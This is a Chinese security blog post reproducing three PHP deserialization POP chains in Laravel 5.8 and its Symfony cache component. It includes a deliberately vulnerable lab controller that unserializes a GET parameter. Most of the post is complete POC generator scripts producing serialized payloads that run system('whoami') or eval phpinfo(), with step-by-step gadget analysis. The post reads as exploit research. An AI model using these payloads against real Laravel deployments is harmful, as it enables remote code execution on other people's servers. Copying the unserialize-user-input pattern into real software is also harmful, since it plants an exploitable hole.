Laravel 5.8.x反序列化

Laravel5.8.x 框架中三条反序列化POP链复现

laravel结构

先简单了解几个laravel目录

Routes目录

routes 目录包含了应用的所有路由定义,Laravel 默认包含了几个路由文件:web.phpapi.phpconsole.phpchannels.php

大部分路由都应该在 web.php 文件中定义

App目录

大部分的应用程序都位于 app 目录中。默认情况下,此目录的命名空间为 App

http目录包含你的控制器,中间件和表单请求。处理进入应用程序请求的所有逻辑几乎都放置在此目录

环境搭建

1
2
3
$ composer create-project --prefer-dist laravel/laravel laravel58
$ cd laravel58
$ php artisan serve --host=0.0.0.0

/laravel58/routes/web.php文件中添加一条路由:

1
2
3
<?php
Route::get("/","\App\Http\Controllers\DemoController@demo");
?>

/laravel58/app/Http/Controllers/下添加DemoController控制器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace App\Http\Controllers;

class DemoController extends Controller
{
public function demo()
{
if(isset($_GET['c'])){
$code = $_GET['c'];
unserialize($code);
}
else{
highlight_file(__FILE__);
}
}
}

POP链1

这条POP链适用于laravel 5.8,按上述方法安装默认存在

POP链的起点是Illuminate\Broadcasting\PendingBroadcast::__destruct()

参数$this->events可控,我们能调用任意类的dispatch方法

全局搜索dispatch方法,锁定Illuminate\Bus\Dispatcher::dispatch()

如果可以满足第一个if条件,则可以调用dispatchToQueue方法,跟进

发现dispatchToQueue方法中存在call_user_func函数,可以调用任意方法

那么只需要让dispatch方法的if条件为真即可:$this->queueResolver可控,接着跟进commandShouldBeQueued方法

该方法中要返回真,只需要让$command,对应PendingBroadcast类中的$this->event是一个继承于ShouldQueue接口的类即可

利用phpstorm的find usage随便找一个继承ShouldQueue接口的类,例如BroadcastEvent

到这里,我们已经可以执行任意方法了

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "system";
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection = "whoami";
}
}

namespace{
$d = new Illuminate\Bus\Dispatcher();
$b = new Illuminate\Broadcasting\BroadcastEvent();
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}

?>

当然call_user_func函数除了能实现任意方法外,还有一个作用,就是能实现任意类的任意方法。例如:

1
2
$a = new A();
call_user_func("call_user_func",array($a,"a"));

当第一个参数为call_user_func,第二个参数为数组,数组第一个元素为类对象,第二个元素为类方法。所以即调用A类的a方法

或者:

1
2
$a = new A();
call_user_func(array($a,"a"),"test");

这样第二个参数随意赋值即可

下面再找找框架中有什么可利用的类方法,例如全局搜索eval关键字

任意调用类方法1

跟进PHPUnit\Framework\MockObject\MockClass::generate()

参数$this->classCode可以直接控制,我们只需要满足$this->mockName代表的类不存在即可

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver = "call_user_func";
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace PHPUnit\Framework\MockObject{
final class MockClass
{
private $classCode;
private $mockName;

public function __construct($classCode="",$mockName="")
{
$this->classCode = $classCode;
$this->mockName = $mockName;
}
}
}

namespace{
$d = new Illuminate\Bus\Dispatcher();
$m = new PHPUnit\Framework\MockObject\MockClass("phpinfo();","a");
$b = new Illuminate\Broadcasting\BroadcastEvent(array($m,"generate"));
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}

?>

任意调用类方法2

跟进Mockery\Loader\EvalLoader::load()

load方法默认传入一个MockDefinition的类对象$definition,然后要满足$definition->getClassName()返回的类名不存在。才会才会把$definition->getCode()返回的内容拼接到eval函数中

跟进MockDefinition::getClassName()MockDefinition::getCode()

getCode方法中$this->code可控,控制内容为<?php phpinfo();?>就能直接执行

getClassName方法中返回的是$this->config->getName,能调用任意类的getName方法,全局搜索该方法

挑个可以控制的类Psy\Reflection\ReflectionClassConstant

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;

public function __construct($queueResolver="")
{
$this->queueResolver = $queueResolver;
}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace Mockery\Loader{
class EvalLoader{}
}

namespace Mockery\Generator{
class MockDefinition
{
protected $config;
protected $code;

public function __construct($config="",$code="")
{
$this->config = $config;
$this->code = $code;
}
}
}

namespace Psy\Reflection{
class ReflectionClassConstant
{
public $name = "a";
}
}

namespace{
$r = new Psy\Reflection\ReflectionClassConstant();
$e = new Mockery\Loader\EvalLoader();
$m = new Mockery\Generator\MockDefinition($r,"<?php phpinfo();?>");
$d = new Illuminate\Bus\Dispatcher(array($e,"load"));
$b = new Illuminate\Broadcasting\BroadcastEvent($m);
$p = new Illuminate\Broadcasting\PendingBroadcast($d,$b);
echo urlencode(serialize($p));
}

?>

POP链2

该链在laravel5.8版本同样默认存在

分析

POP链的起点在Illuminate\Foundation\Testing\PendingCommand::__destruct

$this->hasExecuted默认为false,执行run方法

run方法中会调用$this->app[Kernel::class]这个类的call方法,传入的参数$this->command$this->parameters都可控

vendor/laravel/framework/src/Illuminate/Contracts/Console/Kernel.php中的接口类发现了call方法

要求$parameters参数是数组

但是执行call需要先执行mockConsoleOutput方法

随便先起个POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;

public function __construct($command="",$parameters="")
{
$this->command = $command;
$this->parameters = $parameters;
}
}
}

namespace{
$p = new Illuminate\Foundation\Testing\PendingCommand("system",array("whoami"));
echo urlencode(serialize($p));
}

然后开起调试,直接将断点设在call方法处,发现程序未执行到call处,果然断在了mockConsoleOutput

报错信息如下:

未找到类对象的对应属性expectedOutput

跟进该方法

看到foreach ($this->test->expectedQuestions as $i => $question),猜到应该是$this->test->expectedQuestions未找到

那么我们全局搜索一下哪些类存在expectedQuestions这个属性

发现有个public属性,跟进看看Illuminate\Foundation\Testing\Concerns\InteractsWithConsole

刚好存在expectedOutputexpectedQuestions属性

不过因为InteractsWithConsoletrait类,需要找到引用他的类,通过find usage,找到了Illuminate\Foundation\Testing\TestCase

抽象类,再随便找一个继承他的类:Tests\Feature\ExampleTest

修改POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
...

namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}

namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}

namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}

namespace{
$e = new Tests\Feature\ExampleTest();
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami"));
echo urlencode(serialize($p));
}

继续调试,成功跳出foreach

但是因为$this->app未赋值,所以这里肯定会报错:不知名的bind方法

我们先全局搜索bind方法存在哪些类,例如Illuminate\Container\Container

再次修改POC:

1
2
3
4
5
6
namespace Illuminate\Container{
class Container{}
}

$c = new Illuminate\Container\Container();
$p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami"),$c);

调试,成功跳出mockConsoleOutput方法,来到call方法处代码

出现报错:

跟进该行代码看看具体报错处:发现在resolve方法处进入build方法

最后一步中,判断Illuminate\Contracts\Console\Kernel是否可以实例化

结果不可以,所以报错

所以得想办法在resolve方法执行到build前进行return

我们只需控制$this->instances[$abstract]即:$this->instances['Illuminate\Contracts\Console\Kernel']

最后寻找可以利用类的call方法,全局搜索,发现Illuminate\Container\Container本身就带有call

这里因为$this->instances['Illuminate\Contracts\Console\Kernel']本身为containler类的属性,所以索性找一个containler的子类来实例化,例如Illuminate\Foundation\Application

最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php

namespace Illuminate\Foundation\Testing{
class PendingCommand
{
public $test;
protected $command;
protected $parameters;
protected $app;

public function __construct($test="",$command="",$parameters="",$app="")
{
$this->test = $test;
$this->command = $command;
$this->parameters = $parameters;
$this->app = $app;
}
}
}

namespace Illuminate\Foundation{
class Application{}
}

namespace Illuminate\Container{
class Container
{
protected $instances = [];

public function __construct($instances="")
{
$this->instances = $instances;
}
}
}

namespace Illuminate\Foundation\Testing\Concerns{
trait InteractsWithConsole
{
public $expectedQuestions = [];
public $expectedOutput = [];
}
}

namespace Illuminate\Foundation\Testing{
use Illuminate\Foundation\Testing\Concerns\InteractsWithConsole;
abstract class TestCase{
use InteractsWithConsole;
}
}

namespace Tests\Feature{
use Illuminate\Foundation\Testing\TestCase;
class ExampleTest extends TestCase{}
}

namespace{
$a = new Illuminate\Foundation\Application();
$c = new Illuminate\Container\Container(array("Illuminate\Contracts\Console\Kernel"=>$a));
$e = new Tests\Feature\ExampleTest();
$e->expectedOutput = array("1"=>"1");
$e->expectedQuestions = array("2"=>"2");
$p = new Illuminate\Foundation\Testing\PendingCommand($e,"system",array("whoami"),$c);
echo urlencode(serialize($p));
}

?>

实现效果

调用了call方法后,进入BoundMethod::call方法

在执行最后的call_user_func_array函数前先调用getMethodDependencies

返回array_merge([],["whoami"])

所以最终拼接到call_user_func_array函数中为:call_user_func_array("system",array("whoami"));

成功执行命令

POP链3

这条链存在symfony组件中,默认安装的laravel5.8中没有该组件。安装需要在composer.json文件的require添加"symfony/symfony":"4.*",然后执行composer update命令更新即可

POP链起点在Symfony\Component\Cache\Adapter\TagAwareAdapter::__destruct()

调用commit方法,跟进

commit方法调用了invalidateTags([])方法,继续跟进

$this->pool可实例化为任意类,调用了任意类的saveDeferred方法。将其实例化为ProxyAdapter

可以调用doSave方法,但是要求传入的$item参数为继承CacheItemInterface的类对象

doSave方法中,$item首先经过(array)$item后强制转化为数组$item转化为数组后,再从数组中取键名\0*\0innerItem的键值赋值给参数$innerItem作为末尾245行动态函数执行中的参数

$item["\0*\0poolHash"]这种写法,数组键名中带有\0*\0,实际上是类中修饰符为protected的属性,在类强制转化为数组后的结果,测试代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class Foo{
private $var1 = 1;
protected $var2 = 2;
public $var3 = 3;
}

$f = new Foo();
$f = (array)$f;
foreach ($f as $key => $value) {
echo "key: ".urlencode($key)."<br>value: ".$value."<br>";
}

所以,我们只需让参数$item为继承CacheItemInterface的类对象。然后赋值其innerItempoolHash属性即可

最后,动态调用的函数有两个参数,刚好system函数支持两个参数

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php

namespace Symfony\Component\Cache\Adapter{
class TagAwareAdapter
{
private $deferred;
private $pool;

public function __construct($deferred="",$pool="")
{
$this->deferred = $deferred;
$this->pool = $pool;
}
}
}

namespace Symfony\Component\Cache\Adapter{
class ProxyAdapter
{
private $setInnerItem;
private $poolHash;

public function __construct($setInnerItem="",$poolHash="")
{
$this->setInnerItem = $setInnerItem;
$this->poolHash = $poolHash;
}
}
}

namespace Symfony\Component\Cache{
class CacheItem
{
protected $poolHash;
protected $innerItem;

public function __construct($poolHash="",$innerItem="")
{
$this->poolHash = $poolHash;
$this->innerItem = $innerItem;
}
}
}

namespace{
$p = new Symfony\Component\Cache\Adapter\ProxyAdapter("system","1");
$c = new Symfony\Component\Cache\CacheItem("1","whoami");
$t = new Symfony\Component\Cache\Adapter\TagAwareAdapter(array("1"=>$c),$p);
echo urlencode(serialize($t));
}

?>

参考

https://mochazz.github.io/2019/08/05/Laravel5.8.x%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/

http://adm1n.design/2019/08/15/laravel5.7-unserialize-RCE

https://zhzhdoai.github.io/2019/12/14/Laravel-5-8-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-%E4%B8%80/

文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog